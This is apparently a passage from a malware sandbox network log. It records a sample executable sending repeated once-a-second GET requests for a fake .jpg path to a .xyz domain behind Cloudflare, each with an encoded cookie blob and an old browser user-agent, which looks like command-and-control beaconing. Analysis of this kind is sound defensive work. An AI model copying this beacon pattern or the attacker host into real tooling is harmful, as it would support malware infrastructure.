2025-01-10 14:14:33 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:33 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B2Z9QbkrIaR7nVrMi9t%2BM0AMgDIYSZItEMGQ28ZrvzvLhB5tAIooM3mFuXEpyHHsz2E2IzxTDwbRo2Yi%2F3aqpJ2C%2F6aJ%2BmN%2FX0nmyfoHStaiIgidDilV9i1vjtg0NTFz4Tx57MpfXJcSyRlTslMT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4629495df797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2122&min_rtt=1582&rtt_var=1673&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=494663&cwnd=171&unsent_bytes=0&cid=cccd25ce7c624786&ts=405&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50063	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:34 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:34 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:34 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lIxUiAi5fAVxY%2FhpUcLcF%2FfsR4SnrTkbwvVJJ3G%2F4sHBjA37TfWjTtWD4yKkJjhqR%2F1QH3F2opVl9Uso2UQuttAcUVSgYd0wVi%2BenA0uOHEz3%2F8kZ3b60YExKp0s95LQO5aS7jBLnaKBqSVDvMHr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd462f9da84369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2141&min_rtt=2131&rtt_var=819&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1319475&cwnd=220&unsent_bytes=0&cid=da53d3ba74d09206&ts=436&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50064	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:35 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:35 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:35 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l9mro9BhEogUqd1%2BMxDBD1%2BdwR5asrqZ4tJrlQhZdh4gu1fazLaU9d4A%2FcEoqhCaJG0GcnZcLKgQRlPCInVykmkaeGNwVGB3DjcBXRCa8%2BGRtJlZuUg%2FdypTNlDrDYSliY06L74foqF82EV5WcPG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4635cc1143a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1572&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1791411&cwnd=219&unsent_bytes=0&cid=155dfd2d7077632b&ts=414&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50065	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:36 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:36 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:36 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qEywn3JaaYz%2BBuTsWcGeba2fNtrdVRvb3wNHRyLrPPopydvqbagkPPbwnZxLrhWTGKteqig52j9A25TPVf0pve6Vc33v3CLiXODqOHinGIyQhp24QtDmbIB9ZN1%2FFpVcDNL6O%2BRTTzsfcljUssvS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd463c7ad07c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2095&min_rtt=2095&rtt_var=1047&sent=6&recv=7&lost=0&retrans=1&sent_bytes=3298&recv_bytes=1056&delivery_rate=212132&cwnd=173&unsent_bytes=0&cid=18febc0e7d5db792&ts=451&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50066	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:37 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:37 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:37 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2BQM2EcufLq%2Fj8oLtLRZ3RKbLS9pyFMBHD9wu%2F1SR%2BcpOWp8X5eRtCB9og0gm2snu0UTY%2BYFenc%2BoOnKOIJW0H3MOqwR3gjrWbOSgTPqE0eyP6g49IWQiOJIlux8RHhU%2FRBnf%2BySnWtRV2swRBwk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4642b8bcc3f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1735&rtt_var=680&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1682997&cwnd=190&unsent_bytes=0&cid=eed514239f993ff7&ts=413&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50067	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:38 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:38 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:38 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RgJ65VoB98o5GoBRjdjQmYoUhX5OTvx%2BU5GOEqS%2BNcNZM2smYlDZDpI5sj4nkddLJZVY2sc2owlaqT1jfJWneErcPh5lqID2YifG%2FNoDiuMJrL3wShBzA%2FwcoF5iBNE0%2FicU7xd67ISSUN3hHll1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4648fd00c338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1529&min_rtt=1525&rtt_var=581&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1869398&cwnd=228&unsent_bytes=0&cid=9e8bdd54c3999018&ts=436&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50068	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:39 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:39 UTC	765	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:39 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nDFrtx4D9%2F8kPOwvdPNC%2FBlcm3Ky%2FBgIX4GF4oHs0O1NwoA5hmekWPt5MOxAv5Crg2mGWLmnHi9vJrDrzbuVdTs0%2BcbBHpJg7p%2BRiMdZSZ%2F%2BSefX%2FIEbsIsdH6Ri5J2yEZjGcK80S2VRsO7yfT%2Bz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46507a8c4334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1554&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1811414&cwnd=224&unsent_bytes=0&cid=dfdd4e7fb3d08b84&ts=402&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50069	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:40 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:40 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:40 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ne1i1dByKyps2797VyzoJb8hXdrmU07bjkcJepjUcrJBV7pugMzvqR9jJstOB5t3FcrsNGFcFyOhCcVHJMF9BF9ANpd5IaPGL4KTK70MSHYznY4KRMS7VV672VOcwR9rhiiboqoGoW5A0dGQyhXu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4656eea78ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1953&rtt_var=754&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1432074&cwnd=168&unsent_bytes=0&cid=854c59251f3f99b1&ts=417&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50070	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:41 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:41 UTC	765	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:41 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2FMOLmBU%2BTsxySFpvG92GfII7cALWr5KSOjmzNsRIP30%2FrmvLZJwMZJpqjfSS8zi%2FxwF0Jovnt0mIfad%2BKCEnA1HScz2h5zq0%2BCR4zw3NIDjqw6o4EmMLyR5Yki%2BP4%2Fp8eJrGlIC4m1doWbvO%2B1u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd465d19c30f60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1621&rtt_var=632&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1697674&cwnd=211&unsent_bytes=0&cid=d9e22ccb401eb840&ts=432&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50071	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:42 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:42 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:42 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ou%2BDQzx1JwkVmO%2BGEX6uerFsJcvkCGqfTRSzdELa23vrMm4%2FT%2BlIJVLW%2FbTF7oDH0XxE8%2Fr62471panVFyibDTv8uP8Lprencv7zlUM97%2B7iRE2gN9NAnj25gBdGB7ylNIBNWDa7CcEzBRDCjQ5K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46634cac0f7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1863&min_rtt=1731&rtt_var=743&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1686886&cwnd=231&unsent_bytes=0&cid=8ba1d6f5f63dafb3&ts=399&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50072	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:43 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:43 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:43 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qS9GB5BYyWysQJQpi0%2FqwiPIfaF75b%2Be%2BrggIW6VqU6x9BIPlTQslDjVs5mebqETv4WX7N7zBIwVpvxOLTeYiQ1RKrB6F2%2F1sD02O5ImKd5xVZnjsFsAUera4Rd89%2BXbTOIhr%2FradR2uyHmuFw0g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46695fb0c34b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1535&min_rtt=1523&rtt_var=596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1796923&cwnd=172&unsent_bytes=0&cid=dd10e9c461712bd3&ts=411&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50073	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:44 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:44 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:44 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ktBc3BxbaZ9W5PipJOOQ3%2BQx8GAvyzzlBRPk3wCLUqfZJGXpqVnhI2fnsLcpMUwaocycXHIT16hjUN7L8Uw8AD5SVaLTos5hCqUU4WJDKOPy3BdfcH4ot5frIme0Qqzrf2%2FMylwMBh58NHHtwWAb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd466f7a737cae-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1974&min_rtt=1962&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1418164&cwnd=195&unsent_bytes=0&cid=d688f61dbc547fc0&ts=422&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50074	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:45 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:45 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:45 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lpyrdp%2Fcq%2BbEaJIdEAGb20xr7aMXhTuT6sy%2BdUPTZ2UNo6jK%2BNDwnyVRBirkf3BKMAQhCqkk2dAy8a%2F9bzpoqTHsiKSFTOA6yKQb2AUYUF9FztZ6S565uykJQB1VUV8cYhGozSwn8ttrFmaD525L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd467599aac407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1646&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1773997&cwnd=197&unsent_bytes=0&cid=63d8b86c9706fefd&ts=421&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50075	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:46 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:46 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:46 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BJL9wVmwbmEWbRx95tyuJTJQXP5gyx3g67H3%2BUhgq33H4%2BfMOHvYQbsKRFlm5ppDob2V6V9eubbQ8PFpbXkOf%2FIGxVhS8dXuEWNxOVESJZXfDCOuoPYWO%2BCmSrtFHXWEwUNyF%2BbdzZKKmyeiCIre"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd467bafff0f4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1510&min_rtt=1509&rtt_var=569&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1919789&cwnd=241&unsent_bytes=0&cid=7d8a5eee3bc46bfe&ts=398&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50076	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:47 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:47 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:47 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jqcLM6khvqaceyRz%2B7aiMzSER7JujLtqCLwRGf%2FBVKVMpVaU%2Bqp9rCC0nTZAFRHCbHtbAUILEe%2BqscyVBeQoR3AWN65OqIhonYoxhIAsvOjE3sCMt8Y%2B0GOL3LqL2cgMtzXzMyF9GxaT3d0DAE18"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd468209c54385-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2388&min_rtt=2377&rtt_var=914&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1182665&cwnd=250&unsent_bytes=0&cid=6af794d31b3c80cb&ts=402&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50077	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:48 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
